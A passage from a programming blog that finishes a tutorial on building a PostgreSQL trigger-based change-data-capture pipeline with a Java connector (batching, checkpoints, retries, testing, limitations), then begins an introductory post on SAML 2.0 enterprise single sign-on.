    lastProcessedEventId =
            batch.get(batch.size() - 1).eventId();
}

Let's understand how this works.

1. Iterating Through the Retrieved Events

for (int i = 0; i < events.size(); i += BATCH_SIZE)

The loop processes the retrieved events in groups determined by BATCH_SIZE.

For a batch size of 3, the starting index advances by three positions during each iteration.

2. Calculating the Batch Boundary

int endIndex = Math.min(
        i + BATCH_SIZE,
        events.size()
);

This calculates the ending index of the current batch.

The Math.min() method ensures that the ending index never exceeds the number of available events.

This is important when the final batch contains fewer events than the configured batch size.

3. Creating the Batch

List<CDCEvent> batch =
        events.subList(i, endIndex);

The subList() method creates a view of the retrieved events representing the current batch.

The connector then passes this batch to processBatchWithRetry().

4. Processing the Batch

processBatchWithRetry(
        destinationConnection,
        batch
);

This method applies the employee changes to the destination database and manages the destination transaction.

We will examine its transaction handling and retry mechanism in Section 8.

5. Updating the Local Processing Position

lastProcessedEventId =
        batch.get(batch.size() - 1).eventId();

After the batch-processing method returns successfully, the connector updates its local processing position to the event ID of the last event in that batch.

This value is used when retrieving subsequent events.

6.4 Understanding Pagination and Batch Processing Together

Let's consider an example using the configuration from our demonstration:

cdc.fetch.size=4
cdc.batch.size=3

Assume that eight CDC events are available, with event IDs from 1 through 8.

The connector processes them as follows:

First page

The source query retrieves four events:

Events: 1, 2, 3, 4

With a batch size of 3, these events are divided into:

Batch	Events	Events per transaction
Batch 1	1, 2, 3	3
Batch 2	4	1

After both batches are successfully processed, the local processing position becomes event ID 4.

Second page

The connector executes the source query again using:

WHERE event_id > 4

The next four events are retrieved:

Events: 5, 6, 7, 8

They are divided into:

Batch	Events	Events per transaction
Batch 3	5, 6, 7	3
Batch 4	8	1

After processing these batches, the local processing position becomes event ID 8.

Next query

The connector executes the query again using:

WHERE event_id > 8

If no additional events are available, the query returns an empty result. The pagination loop exits, and the connector returns to its continuous polling cycle.

The complete processing flow is illustrated below:

Figure 2: Example of pagination and batch processing using fetch size 4 and batch size 3.

6.5 Benefits of Batch Processing and Pagination

Using separate fetch and batch sizes provides several benefits:

Controlled memory usage: The connector retrieves a limited number of events per source query instead of loading all available events at once.
Reduced transaction overhead: Multiple employee changes are applied within a single destination transaction.
Flexible configuration: Fetch size and batch size can be adjusted independently based on workload and database capacity.
Continuous processing: Pagination allows the connector to process more events than the configured fetch size.

Summary

In this section, we examined how the CDC connector uses pagination and batch processing.

Uses cdc.fetch.size to control the maximum number of events retrieved per source query.
Uses cdc.batch.size to control the number of events applied per destination transaction.
Implements pagination using a repeated query with LIMIT.
Divides retrieved events into smaller batches using subList().
Processes each batch through processBatchWithRetry().
Continues fetching subsequent pages until no more events are available.

These mechanisms allow the connector to process multiple CDC events efficiently while controlling query sizes and destination transaction boundaries.

In the next section, we will examine Checkpoint Management, including how the connector records its processing position and resumes from that position after a restart.

7. Checkpoint Management

A CDC connector needs a reliable way to track which events have already been processed. Without this mechanism, the connector would have no way to determine where to resume after a restart.

In this project, we use a checkpoint table in the destination database to store the ID of the last successfully processed CDC event.

The Java connector reads this checkpoint when it starts a polling session and updates it after successfully applying each batch of events.

7.1 Understanding the Checkpoint Table

We created the cdc_checkpoint table in the destination database in Section 3.5.

The table has the following structure:

CREATE TABLE IF NOT EXISTS cdc_checkpoint (
    connector_name VARCHAR(100) PRIMARY KEY,
    last_processed_event_id BIGINT NOT NULL DEFAULT 0,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

We also initialized a checkpoint entry for our connector:

INSERT INTO cdc_checkpoint (
    connector_name,
    last_processed_event_id
)
VALUES ('employee-cdc-connector', 0)
ON CONFLICT (connector_name) DO NOTHING;

The columns serve the following purposes:

connector_name: Identifies the CDC connector. It is the primary key, allowing multiple connectors to maintain separate checkpoints.
last_processed_event_id: Stores the ID of the last successfully processed event.
updated_at: Records when the checkpoint was last updated. The Java connector explicitly refreshes this timestamp when advancing the checkpoint.

Initially, last_processed_event_id is set to 0, indicating that the connector has not yet processed any CDC events.

7.2 Reading the Last Processed Event ID

When a new database connection session is established, the connector retrieves the last processed event ID from the destination database.

The runContinuousPolling() method calls getLastProcessedEventId() before entering its polling loop.

Here is the implementation:

private static long getLastProcessedEventId(
        Connection connection) throws SQLException {

    String sql = """
            SELECT last_processed_event_id
            FROM cdc_checkpoint
            WHERE connector_name = ?
            """;

    try (PreparedStatement statement =
                 connection.prepareStatement(sql)) {

        statement.setString(1, CONNECTOR_NAME);

        try (ResultSet resultSet = statement.executeQuery()) {

            if (resultSet.next()) {
                return resultSet.getLong(
                        "last_processed_event_id");
            }

            throw new SQLException(
                    "CDC checkpoint not found: " + CONNECTOR_NAME
            );
        }
    }
}

The method performs the following operations:

Executes a query against the cdc_checkpoint table.
Uses the connector name to locate its checkpoint entry.
Retrieves and returns last_processed_event_id.
Throws an exception if the checkpoint entry does not exist.

The returned event ID becomes the starting position for the next CDC polling cycle.

7.3 Updating the Checkpoint

After a batch of CDC events has been successfully applied to the destination database, the connector updates the checkpoint.

The updateCheckpoint() method performs this operation:

private static void updateCheckpoint(
        Connection connection,
        long eventId) throws SQLException {

    String sql = """
            UPDATE cdc_checkpoint
            SET last_processed_event_id = ?,
                updated_at = CURRENT_TIMESTAMP
            WHERE connector_name = ?
            """;

    try (PreparedStatement statement =
                 connection.prepareStatement(sql)) {

        statement.setLong(1, eventId);
        statement.setString(2, CONNECTOR_NAME);

        int rowsUpdated = statement.executeUpdate();

        if (rowsUpdated != 1) {
            throw new SQLException(
                    "Failed to update CDC checkpoint."
            );
        }
    }
}

The method updates two columns:

last_processed_event_id is set to the ID of the last event in the successfully processed batch.
updated_at is refreshed with the current timestamp.

The method also verifies that exactly one checkpoint row was updated. If no matching row exists, it throws an exception rather than silently continuing.

7.4 Updating the Checkpoint Within the Destination Transaction

An important design consideration is ensuring that the destination data changes and checkpoint update are committed together.

In our implementation, the processBatchWithRetry() method handles both operations within the same destination database transaction.

The relevant part of the method is:

destinationConnection.setAutoCommit(false);

try {
    for (CDCEvent event : events) {

        applyChange(
                destinationConnection,
                event.operation(),
                event.employeeData()
        );
    }

    long lastEventId =
            events.get(events.size() - 1).eventId();

    updateCheckpoint(destinationConnection, lastEventId);

    destinationConnection.commit();

} catch (SQLException | RuntimeException e) {

    destinationConnection.rollback();
    throw e;
}

The sequence is important:

Disable auto-commit to begin an explicit transaction.
Apply all CDC events in the batch to the destination employees table.
Retrieve the event ID of the last event in the batch.
Update the checkpoint with that event ID.
Commit the transaction.

If an error occurs before the commit, the transaction is rolled back.

This means that the destination employee changes and the checkpoint update are treated as a single transaction.

For example:

If all employee changes and the checkpoint update succeed, the transaction commits.
If an employee change fails, the transaction is rolled back, including the checkpoint update.
If the checkpoint update fails, the employee changes in that transaction are also rolled back.

This prevents the checkpoint from advancing when the corresponding destination changes have not been successfully committed.

7.5 Resuming Processing After a Restart

One of the main benefits of checkpoint management is that the connector does not need to start processing from the beginning every time it restarts.

Consider the following example:

Suppose the connector has processed events up to event ID 25.

The checkpoint table contains:

connector_name	last_processed_event_id
employee-cdc-connector	25

Now suppose the connector stops unexpectedly.

When it starts again, it establishes connections to the source and destination databases. The runContinuousPolling() method retrieves the checkpoint from the destination database.

The connector then queries the source CDC event table using:

SELECT event_id, operation, record_id, changed_data
FROM cdc_events
WHERE event_id > ?
ORDER BY event_id
LIMIT ?;

The parameter for event_id is set to 25.

Therefore, the connector looks for events with IDs greater than 25 and resumes processing from that position.

As subsequent batches are successfully committed, the checkpoint advances accordingly.

7.6 Benefits of Checkpoint Management

Checkpoint management provides several important benefits:

Restart recovery: The connector can resume from its last recorded processing position after a restart.
Reduced redundant processing: Previously checkpointed events are not normally fetched again during the next polling session.
Consistent destination state: Destination changes and checkpoint updates are committed within the same transaction.
Progress tracking: The checkpoint table provides a simple way to monitor the connector's processing progress.

In this project, checkpoint management works together with batch processing and transaction handling to provide a basic recovery mechanism for the CDC pipeline.

8. Error Handling and Recovery

A CDC connector runs continuously and interacts with two databases. During operation, database errors, transaction failures, and unexpected connection losses can occur.

If these situations are not handled properly, the connector could stop unexpectedly or leave the destination database in an inconsistent state.

In this project, we implement several error-handling mechanisms:

Transaction rollback when a batch fails.
Retry logic for selected transient transaction errors.
Exponential backoff between retry attempts.
Database connection recovery.
Graceful shutdown when the application is interrupted.

Let's examine how these mechanisms work.

8.1 Transaction Rollback

As discussed in Section 7, the connector processes each batch within a destination database transaction.

If an error occurs while applying the CDC events or updating the checkpoint, the transaction must be rolled back.

The relevant code in processBatchWithRetry() is:

try {
    for (CDCEvent event : events) {

        applyChange(
                destinationConnection,
                event.operation(),
                event.employeeData()
        );
    }

    long lastEventId =
            events.get(events.size() - 1).eventId();

    updateCheckpoint(destinationConnection, lastEventId);

    destinationConnection.commit();

} catch (SQLException | RuntimeException e) {

    try {
        destinationConnection.rollback();
        transactionResolved = true;

    } catch (SQLException rollbackError) {

        e.addSuppressed(rollbackError);

        // Do not reuse a connection with an unresolved transaction.
        try {
            destinationConnection.close();
            connectionClosed = true;

        } catch (SQLException closeError) {
            e.addSuppressed(closeError);
        }

        throw e;
    }

    // Additional error handling follows...
}

The important points are:

All events in the batch are applied within one transaction.
The checkpoint is updated only after all events have been applied successfully.
The transaction is committed only after the checkpoint update succeeds.
If an error occurs, the connector attempts to roll back the transaction.

If the rollback itself fails, the connector closes the destination connection rather than reusing a connection whose transaction state is uncertain.

This approach helps prevent partially applied batches and inconsistent checkpoint updates.

8.2 Identifying Retryable Transaction Errors

Not every database error should be retried.

For example, a temporary transaction conflict may succeed when attempted again, whereas an invalid SQL statement or other permanent error is unlikely to succeed through repeated retries.

The connector uses SQLSTATE codes to identify retryable transaction errors.

Here is the implementation:

private static boolean isRetryableTransactionError(
        SQLException e) {

    String sqlState = e.getSQLState();

    if (sqlState == null) {
        return false;
    }

    return sqlState.startsWith("40")  // Transaction rollback
            || sqlState.equals("55P03"); // Lock not available
}

The connector considers the following errors retryable:

SQLSTATE class 40: Transaction rollback errors, including serialization failures and deadlocks.
SQLSTATE 55P03: Lock not available.

Other SQL errors are not automatically retried.

Connection failures are handled separately by the outer connection-recovery mechanism.

8.3 Implementing Retry Logic with Exponential Backoff

The connector retries a failed batch when the error is classified as a retryable transaction error.

The retry loop in processBatchWithRetry() is:

for (int attempt = 1; attempt <= MAX_RETRIES + 1; attempt++) {
    // Attempt to process the batch.
}

Notice that the loop uses MAX_RETRIES + 1.

If cdc.max.retries is configured as 3, the connector makes a maximum of four attempts:

First attempt: Initial processing attempt.
Second attempt: First retry.
Third attempt: Second retry.
Fourth attempt: Third retry.

The connector uses exponential backoff to increase the waiting time between retries.

The delay is calculated as follows:

long delay =
        INITIAL_RETRY_DELAY_MS * (1L << (attempt - 1));

With an initial retry delay of 1,000 milliseconds, the delays are:

Failed attempt	Waiting time
1	1 second
2	2 seconds
3	4 seconds

This approach avoids repeatedly retrying a failed transaction without allowing time for the underlying condition to clear.

Before retrying, the connector rolls back the failed transaction. It also checks whether the error is a connection failure or a retryable transaction error.

If the error is not retryable, or the maximum number of attempts has been reached, the exception is propagated to the caller.

8.4 Handling Database Connection Failures

Transaction retries are useful for temporary transaction errors, but they cannot solve a lost database connection.

For example, the PostgreSQL server might be restarted, become temporarily unavailable, or terminate an active connection.

The connector identifies connection failures using SQLSTATE codes.

The isConnectionFailure() method checks for:

SQLSTATE class 08, which represents connection exceptions.
57P01, 57P02, and 57P03, which represent PostgreSQL server shutdown or unavailability conditions.

When a connection failure occurs during batch processing, the connector does not attempt to retry the transaction on the same connection. Instead, it propagates the exception to the outer connection-recovery loop.

The relevant logic in the main() method is:

} catch (SQLException e) {

    if (!running) {
        break;
    }

    if (!isConnectionFailure(e)) {
        System.err.println(
                "Non-connection database error. Stopping connector:"
        );
        e.printStackTrace();
        break;
    }

    System.err.println(
            "Database connection lost. Reconnecting in "
                    + RECONNECT_DELAY_MS + " ms..."
    );

    try {
        Thread.sleep(RECONNECT_DELAY_MS);

    } catch (InterruptedException interrupted) {
        Thread.currentThread().interrupt();
        running = false;
    }
}

If the exception is identified as a connection failure, the connector waits for the configured reconnect delay before attempting to establish new connections.

In this project, the reconnect delay is configured as:

cdc.reconnect.delay.ms=5000

Therefore, the connector waits five seconds before attempting to reconnect.

The database connections are managed using Java's try-with-resources statement. When the connection session exits, the resources are closed automatically.

The outer while (running) loop then attempts to establish new connections to both the source and destination databases.

8.5 Recovering the Processing Position After Reconnection

An important part of connection recovery is determining where processing should resume.

The connector does not rely on the last event ID held only in application memory.

Whenever a new database connection session is established, runContinuousPolling() retrieves the checkpoint again:

long lastProcessedEventId =
        getLastProcessedEventId(destinationConnection);

This ensures that the connector uses the last checkpoint committed in the destination database.

For example, suppose the connector successfully processes events up to event ID 30, and the corresponding checkpoint is committed.

If the source or destination connection is subsequently lost, the connector attempts to reconnect.

After establishing new connections, it retrieves the checkpoint value 30 and continues querying for events with IDs greater than 30.

Because the destination employee changes and checkpoint update are committed in the same transaction, the checkpoint does not advance independently of those changes.

8.6 Graceful Shutdown and Thread Interruption

The connector also handles application shutdown.

In the main() method, a JVM shutdown hook is registered:

Runtime.getRuntime().addShutdownHook(new Thread(() -> {
    running = false;
    System.out.println("\nShutdown requested...");
}));

When the application receives a shutdown request, the hook sets the running flag to false.

The continuous polling loop checks this flag:

while (running && !Thread.currentThread().isInterrupted()) {
    // Process available CDC events.
}

The connector also handles interruption during its polling sleep and retry delays.

When an InterruptedException occurs, the code restores the thread's interrupted status using:

Thread.currentThread().interrupt();

This preserves the interruption signal instead of silently consuming it.

8.7 Summary of Error Handling and Recovery

The following table summarizes the error-handling mechanisms implemented in the connector.

Situation	Connector behavior
Error while applying a batch	Roll back the destination transaction
Retryable transaction error	Roll back and retry with exponential backoff
Non-retryable SQL error	Propagate the exception and stop the connector
Database connection failure	Exit the current connection session and attempt reconnection
Rollback failure	Close the destination connection rather than reuse an unresolved transaction
Application shutdown	Set the running flag to false and stop the polling loop

These mechanisms provide a basic recovery strategy for the CDC pipeline. Transaction rollback protects destination consistency, retry logic handles selected temporary transaction errors, and connection recovery allows the connector to resume after database availability is restored.

The implementation is intentionally limited to the error conditions identified by its SQLSTATE checks. It does not automatically retry every possible database error.

9. Testing the CDC Pipeline

Now that we have implemented the PostgreSQL triggers and Java CDC connector, let's test the complete pipeline.

The objective is to verify that changes made to the source employees table are captured by PostgreSQL triggers, stored in the cdc_events table, and eventually applied to the destination database by the Java connector.

We will also verify batch processing, checkpoint management, and recovery behavior.

9.1 Starting the CDC Connector

Before testing, make sure both PostgreSQL databases are running and the required database objects have been created.

Navigate to the project directory:

cd Software-Engineering/cdc-demo

Set the database password environment variable:

export DB_PASSWORD=your_database_password

On Windows PowerShell, use:

$env:DB_PASSWORD="your_database_password"

Start the connector using Maven:

mvn clean compile exec:java -Dexec.mainClass="com.clockwise.cdc.CDCConnector"

The connector should establish connections to both databases and retrieve the current checkpoint.

You should see startup messages similar to the following:

Configuration loaded from application.properties
Starting CDC Connector...
CDC batch size: 3
Connected to source database: cdc_source
Connected to destination database: cdc_destination

Starting continuous CDC polling...
Last processed event ID: 0
Polling interval: 2000 ms
Press Ctrl+C to stop the connector.

The displayed checkpoint value depends on the previous processing history. The value 0 represents a newly initialized checkpoint.

9.2 Testing INSERT Operations

Let's first verify that an INSERT operation is captured and replicated.

Connect to the source database:

psql -U postgres -d cdc_source

Insert a new employee:

INSERT INTO employees (name, department, salary)
VALUES ('John Smith', 'Engineering', 85000.00);

The employee_changes_trigger automatically invokes the capture_employee_changes() function.

The function creates a CDC event containing:

Operation: INSERT
Record ID: The newly generated employee ID
Changed data: The inserted employee information in JSONB format

Verify the event in the source database:

SELECT event_id, operation, record_id, changed_data, created_at
FROM cdc_events
ORDER BY event_id DESC
LIMIT 5;

You should find a new event with operation INSERT.

Next, connect to the destination database:

psql -U postgres -d cdc_destination

Verify that the employee has been replicated:

SELECT * FROM employees
ORDER BY id;

The inserted employee should now be present in the destination table.

9.3 Testing UPDATE Operations

Next, let's verify that changes to an existing employee are captured and replicated.

Execute the following statement in the source database:

UPDATE employees
SET salary = 95000.00
WHERE name = 'John Smith';

The trigger captures the UPDATE operation and stores the updated employee information in the cdc_events table.

Verify the newly generated event:

SELECT event_id, operation, record_id, changed_data
FROM cdc_events
ORDER BY event_id DESC
LIMIT 5;

You should find an event with operation UPDATE.

After the connector processes the event, query the destination database:

SELECT * FROM employees
WHERE name = 'John Smith';

The employee's salary should reflect the updated value.

9.4 Testing DELETE Operations

Now let's test the DELETE operation.

Execute the following statement in the source database:

DELETE FROM employees
WHERE name = 'John Smith';

The trigger captures the DELETE operation.

For a DELETE event, the trigger uses the OLD record to preserve the employee information that existed before deletion.

Verify the CDC event:

SELECT event_id, operation, record_id, changed_data
FROM cdc_events
ORDER BY event_id DESC
LIMIT 5;

You should find an event with operation DELETE.

After the connector processes the event, verify the destination database:

SELECT * FROM employees
WHERE name = 'John Smith';

The employee record should no longer exist in the destination table.

These three tests verify that the trigger-based CDC implementation captures all three basic database operations: INSERT, UPDATE, and DELETE.

9.5 Testing Batch Processing and Pagination

The next test verifies that the connector can process multiple CDC events using the configured batch size and fetch size.

For this demonstration, the configuration is:

cdc.batch.size=3
cdc.fetch.size=4

This means:

The connector retrieves a maximum of four events in each source query.
It applies up to three events in each destination transaction.

To generate multiple CDC events, insert several employees into the source database:

INSERT INTO employees (name, department, salary)
VALUES
    ('Alice Brown', 'Engineering', 90000.00),
    ('Bob Wilson', 'Finance', 78000.00),
    ('Carol Davis', 'HR', 72000.00),
    ('David Miller', 'Engineering', 95000.00),
    ('Emma Taylor', 'Finance', 82000.00),
    ('Frank Moore', 'HR', 75000.00),
    ('Grace Lee', 'Engineering', 98000.00),
    ('Henry Clark', 'Finance', 88000.00);

Each inserted row generates a separate CDC event.

With eight available events, the connector processes them as follows, assuming they are visible in event ID order:

Fetch operation	Events retrieved	Destination batches
First fetch	4 events	3 + 1
Second fetch	4 events	3 + 1

After processing the first four events, the connector fetches the next page using the updated event ID.

Once all available events have been processed, the next query returns no rows and the pagination loop ends.

Verify that the employees have been replicated:

SELECT * FROM employees
ORDER BY id;

This test demonstrates how pagination and batch processing work together to process more events than can fit into a single destination batch.

9.6 Verifying Checkpoint Management

The checkpoint table records the last successfully processed event ID.

Connect to the destination database and execute:

SELECT
    connector_name,
    last_processed_event_id,
    updated_at
FROM cdc_checkpoint;

The last_processed_event_id should advance as the connector successfully processes batches.

For example, if the last processed event ID is 42, the checkpoint table should contain:

connector_name	last_processed_event_id
employee-cdc-connector	42

The actual value depends on the events generated during testing.

This verifies that the connector updates the checkpoint after successfully applying a batch.

9.7 Testing Restart Recovery

Checkpoint management also allows the connector to resume processing after a restart.

To test this behavior:

Start the CDC connector.
Generate some employee changes in the source database.
Wait until the connector processes those events and updates the checkpoint.
Stop the connector using Ctrl+C.
Record the current checkpoint value from the destination database.
Start the connector again.

During startup, the connector calls getLastProcessedEventId() to retrieve the saved checkpoint.

The startup output should display the previously recorded event ID.

For example:

Starting continuous CDC polling...
Last processed event ID: 42

The connector then queries the source cdc_events table for events with IDs greater than the saved checkpoint.

This verifies that the connector resumes from its saved processing position instead of starting from the beginning.

9.8 Testing Database Connection Recovery

The connector also implements recovery when a database connection is lost.

To verify this behavior, the connection recovery test involves temporarily stopping PostgreSQL while the connector is running.

The general procedure is:

Start the CDC connector and allow it to establish connections to both databases.
Temporarily stop the PostgreSQL server.
Observe the connector's connection failure handling.
Restart PostgreSQL.
Allow the connector to establish new database connections.

When a connection failure is detected, the connector exits the current connection session and waits for the configured reconnect delay.

With the following configuration:

cdc.reconnect.delay.ms=5000

the connector waits five seconds before attempting to reconnect.

After successfully establishing new connections, it retrieves the checkpoint again and resumes processing from the saved position.

This verifies the connection recovery and checkpoint-based resumption behavior.

9.9 Summary of Testing

The project testing covered the following areas:

Test scenario	What it verifies
INSERT operation	New employee records are captured and replicated
UPDATE operation	Changes to existing employee records are captured and replicated
DELETE operation	Deleted employee records are removed from the destination
Batch processing	Multiple events are applied in configured batch sizes
Pagination	Additional events are retrieved through successive source queries
Checkpoint management	The last successfully processed event ID is persisted
Restart recovery	Processing resumes using the saved checkpoint
Connection recovery	The connector reconnects after database connection loss

The tests demonstrate the core functionality of the PostgreSQL trigger-based CDC pipeline, including change capture, replication, batch processing, checkpoint management, and connection recovery.

Note that the retry logic for transient transaction errors is implemented in the connector, but this testing summary does not claim that deadlocks or serialization failures were deliberately injected and tested.

10. Limitations and Future Improvements

The CDC pipeline developed in this tutorial demonstrates how PostgreSQL triggers and a Java application can be used to capture and replicate database changes.

It includes several important capabilities, including batch processing, pagination, checkpoint management, transaction handling, retry logic, and connection recovery.

However, the current implementation is intended as a learning and demonstration project. There are several limitations that should be considered before using this approach in a production environment.

Let's examine the main limitations and possible improvements.

10.1 Initial Data Synchronization

The current implementation captures changes that occur after the CDC trigger has been created.

It does not automatically copy existing employee records from the source database to the destination database when the connector starts for the first time.

For example, suppose the source database already contains 1,000 employee records before the CDC trigger is installed.

The trigger-based implementation captures subsequent INSERT, UPDATE, and DELETE operations, but it does not automatically replicate those existing 1,000 records.

As a result, the destination database may initially be incomplete.

Possible improvement:

Implement an initial snapshot mechanism that copies existing records from the source database to the destination database before processing ongoing CDC events.

A production implementation should also coordinate the snapshot with change capture so that changes occurring during the initial copy are not missed or applied incorrectly.

10.2 Event ID Ordering and Concurrent Transactions

One important limitation of the current implementation is the use of sequence-generated event_id values as the checkpoint position.

The cdc_events table uses BIGSERIAL to generate event IDs.

Although these IDs are generated in increasing allocation order, they do not necessarily represent transaction commit order.

Consider the following scenario:

Transaction T1 inserts a CDC event and receives event ID 100, but does not commit yet.
Transaction T2 inserts another CDC event and receives event ID 101.
Transaction T2 commits.
The Java connector reads event 101 and processes it.
The destination checkpoint advances to 101.
Transaction T1 commits afterward, making event 100 visible.

The connector queries for events using:

WHERE event_id > 101

As a result, event 100 is not selected.

This means that under concurrent source transactions, the current checkpoint strategy can potentially miss events.

Possible improvement:

Use a change-position mechanism that accounts for transaction commit ordering rather than relying solely on sequence allocation order.

For example, PostgreSQL logical decoding and Write-Ahead Log (WAL) positions can provide transaction-oriented change information.

Another approach would be to introduce appropriate source-side transaction serialization, although that can reduce concurrency and throughput.

This is an important consideration when designing a production CDC system.

10.3 CDC Event Table Growth

The current implementation continuously inserts captured changes into the cdc_events table.

However, it does not include an automatic cleanup or archival mechanism for previously processed events.

As the source database receives more changes, the CDC event table will continue to grow.

Over time, this can increase storage requirements and affect database maintenance and query performance.

Possible improvement:

Introduce a CDC event retention policy.

For example:

Archive older CDC events for auditing or recovery purposes.
Remove events that are no longer required after they have been safely processed.
Perform cleanup in controlled batches.
Retain sufficient history to support operational recovery requirements.

A production implementation should coordinate cleanup with connector checkpoints and any required recovery or audit retention period.

10.4 Polling-Based Change Detection

The Java connector uses continuous polling to check for new CDC events.

The polling interval is configurable:

cdc.polling.interval.ms=2000

This means the connector waits for the configured interval between polling cycles.

Although polling is relatively simple to implement, it has some limitations:

Changes may not be replicated immediately.
Frequent polling can generate unnecessary database queries when no new events are available.
A longer polling interval can increase replication latency.

Possible improvement:

For systems requiring lower latency, consider an event-notification mechanism or a streaming-based CDC architecture.

For example, PostgreSQL supports logical decoding, which can be used to build a WAL-based CDC solution.

The appropriate approach depends on the required latency, throughput, operational complexity, and recovery requirements.

10.5 Schema Evolution

The current implementation is designed around a specific employee table structure:

employees
---------
id
name
department
salary

The Java connector also expects these fields when processing the JSON data stored in changed_data.

If the source table structure changes, the trigger function and Java connector may need corresponding updates.

For example, adding a new employee column would require reviewing how the trigger captures the row and how the Java application maps the JSON data into the destination table.

Possible improvement:

Introduce explicit schema versioning and a more flexible mapping mechanism.

This would help the CDC pipeline handle changes to source and destination schemas more systematically.

10.6 Monitoring and Operational Visibility

The current implementation provides console logging for important events, such as:

Database connection establishment.
CDC event processing.
Batch commits.
Checkpoint updates.
Retry attempts.
Connection failures and recovery.

However, it does not provide a dedicated monitoring dashboard or a comprehensive set of operational metrics.

Possible improvement:

Integrate a monitoring solution such as Prometheus and Grafana.

Useful metrics could include:

Number of CDC events captured.
Number of events successfully processed.
Current checkpoint position.
Number of pending CDC events.
Batch processing duration.
Replication latency.
Number of transaction retries.
Database reconnection attempts.

These metrics would help operators identify processing delays, database failures, and other operational problems.

10.7 Scalability and Throughput

The current connector processes CDC events sequentially using a single processing flow.

Batch processing reduces the number of destination transactions, but the implementation does not distribute processing across multiple workers.

For a high-volume system, a single connector may eventually become a throughput bottleneck.

Possible improvement:

Introduce controlled parallel processing where appropriate.

However, parallel processing requires careful consideration of event ordering, transaction boundaries, checkpoint management, and operations affecting the same employee record.

A production design should preserve the required ordering guarantees while improving throughput.

10.8 Summary of Limitations and Future Improvements

The following table summarizes the main limitations of the current implementation and possible improvements.

Area	Current limitation	Possible improvement
Initial synchronization	Existing source records are not automatically copied	Implement an initial snapshot
Event ordering	Sequence-generated IDs do not guarantee commit order	Use commit-aware change positions
Event retention	CDC events are not automatically archived or removed	Introduce retention and archival policies
Change detection	Polling introduces latency and repeated queries	Consider event notification or WAL-based CDC
Schema evolution	Connector expects a fixed employee structure	Introduce schema versioning and flexible mapping
Monitoring	Primarily console-based logging	Integrate Prometheus and Grafana
Scalability	Single processing flow	Consider controlled parallel processing

These improvements provide a possible roadmap for evolving the demonstration into a more robust CDC solution.

The current project intentionally focuses on understanding the fundamental concepts of trigger-based change capture, event processing, transaction management, and checkpoint-based recovery.

11. Conclusion

In this tutorial, we built a Change Data Capture (CDC) pipeline using PostgreSQL triggers and Java.

We started by creating separate source and destination PostgreSQL databases. We then implemented PostgreSQL trigger functions to capture INSERT, UPDATE, and DELETE operations and store the changes in a CDC events table.

Next, we developed a Java-based CDC connector using JDBC to continuously retrieve and process these events.

Along the way, we explored several important concepts:

Trigger-based change capture: Using PostgreSQL triggers to capture database changes.
Event processing: Reading CDC events and applying corresponding changes to the destination database.
Batch processing and pagination: Processing multiple events efficiently.
Checkpoint management: Tracking the last successfully processed event to support restart recovery.
Transaction management: Applying destination changes and checkpoint updates within the same transaction.
Error handling and recovery: Implementing transaction retries, exponential backoff, and database connection recovery.

We also discussed some limitations of the current implementation, including initial data synchronization, event ordering under concurrent transactions, event retention, and scalability.

The project demonstrates how fundamental database features and Java can be combined to build a functional CDC pipeline without relying on an external CDC framework.

Although this implementation is intended as a learning project rather than a production-ready CDC platform, it provides a practical foundation for understanding change capture, event-driven data synchronization, and reliable database processing.

Source Code

The complete source code, SQL scripts, and project configuration are available on GitHub:

PostgreSQL Trigger-Based CDC Demo – GitHub

Feel free to clone the repository, experiment with the implementation, and extend it with additional features.

Thank you for reading!

Understanding SAML 2.0: A Practical Guide to Enterprise SSO with Java Examples

Sanjay Ghosh — Sun, 16 Aug 2026 18:43:56 +0000

Learn how SAML 2.0 enables Enterprise Single Sign-On, how IdPs and SPs communicate, what a SAML Assertion contains, how digital signatures protect it, and how to explore these concepts using Java examples.

🚀 Introduction

Have you ever logged into one enterprise application and then opened another application without being asked for your username and password again?

You were probably experiencing Single Sign-On (SSO).

In many enterprise environments, SSO is implemented using Security Assertion Markup Language (SAML).

SAML can initially look complicated because it involves XML, Identity Providers, Service Providers, assertions, certificates, signatures, browser redirects, and several different messages.

But the basic idea is actually quite straightforward:

An Identity Provider authenticates the user and provides a trusted assertion about that user to an application.

The application, known as the Service Provider, validates that assertion and decides whether to create a session for the user.

In this article, we'll walk through that process step by step.

We'll look at:

What SAML 2.0 is
Why enterprises use SAML
Identity Provider (IdP) and Service Provider (SP)
The SAML SSO authentication flow
What a SAML Assertion contains
Authentication and Attribute Statements
Digital signatures
Base64 encoding
How the browser participates in the process
Authentication vs. authorization
SAML vs. OAuth 2.0 and JWT
Security considerations
Java examples that demonstrate the core concepts
A complete Java simulation of the SAML flow

The Java examples used in this article are available in my GitHub repository:

SAML Java Examples

https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/saml

I also maintain a more comprehensive SAML reference in my Software Engineering Knowledge Base, which covers the concepts, flow diagrams, assertion structure, security considerations, and Java examples:

https://clockwiseknowledge.com/se/saml.html

Before diving into the individual SAML components, let's first look at the complete picture. The following overview shows how SAML enables Enterprise Single Sign-On and how the Identity Provider, Service Provider, and SAML Assertion fit together.

🔎 SAML at a Glance

🔐 What Is SAML?

SAML, or Security Assertion Markup Language, is an XML-based standard for exchanging security information between an Identity Provider (IdP) and a Service Provider (SP).

The OASIS SAML 2.0 standard defines XML-encoded assertions about authentication, attributes, and authorization, together with protocols used to exchange that information.

A simplified view looks like this:

                    SAML

       +---------------------------+
       |    Identity Provider      |
       |           IdP             |
       +-------------+-------------+
                     |
                     | SAML Assertion
                     |
                     v
       +---------------------------+
       |    Service Provider       |
       |           SP              |
       +---------------------------+

The important distinction is:

The IdP authenticates the user.

The SP consumes and validates the information provided by the IdP.

For example:

User
 |
 | Login
 v
Identity Provider
 |
 | Authentication
 | MFA
 |
 | Signed SAML Assertion
 v
Service Provider
 |
 | Validate Assertion
 v
Application Access

This separation of responsibilities is one of the fundamental ideas behind SAML-based enterprise SSO.

🏢 Why Is SAML Popular in Enterprise SSO?

Imagine a company has 50 different applications.

Without SSO, users may have to maintain separate credentials for:

CRM
HR System
Payroll
Cloud Console
Development Tools
Project Management
Email
Internal Applications

With SAML SSO, authentication can be centralized.

                 +----------------+
                 |      User      |
                 +-------+--------+
                         |
                         v
                 +---------------+
                 |      IdP      |
                 | Authentication|
                 +-------+-------+
                         |
              +----------+----------+
              |          |          |
              v          v          v
             App A      App B      App C
              SP         SP         SP

The Identity Provider becomes the central authority for authentication.

It can also integrate with mechanisms such as:

Password authentication
Multi-factor authentication
Smart cards
Biometrics
Enterprise directories
Conditional access policies

The Service Providers don't need to independently authenticate the user.

👥 The Three Important Participants

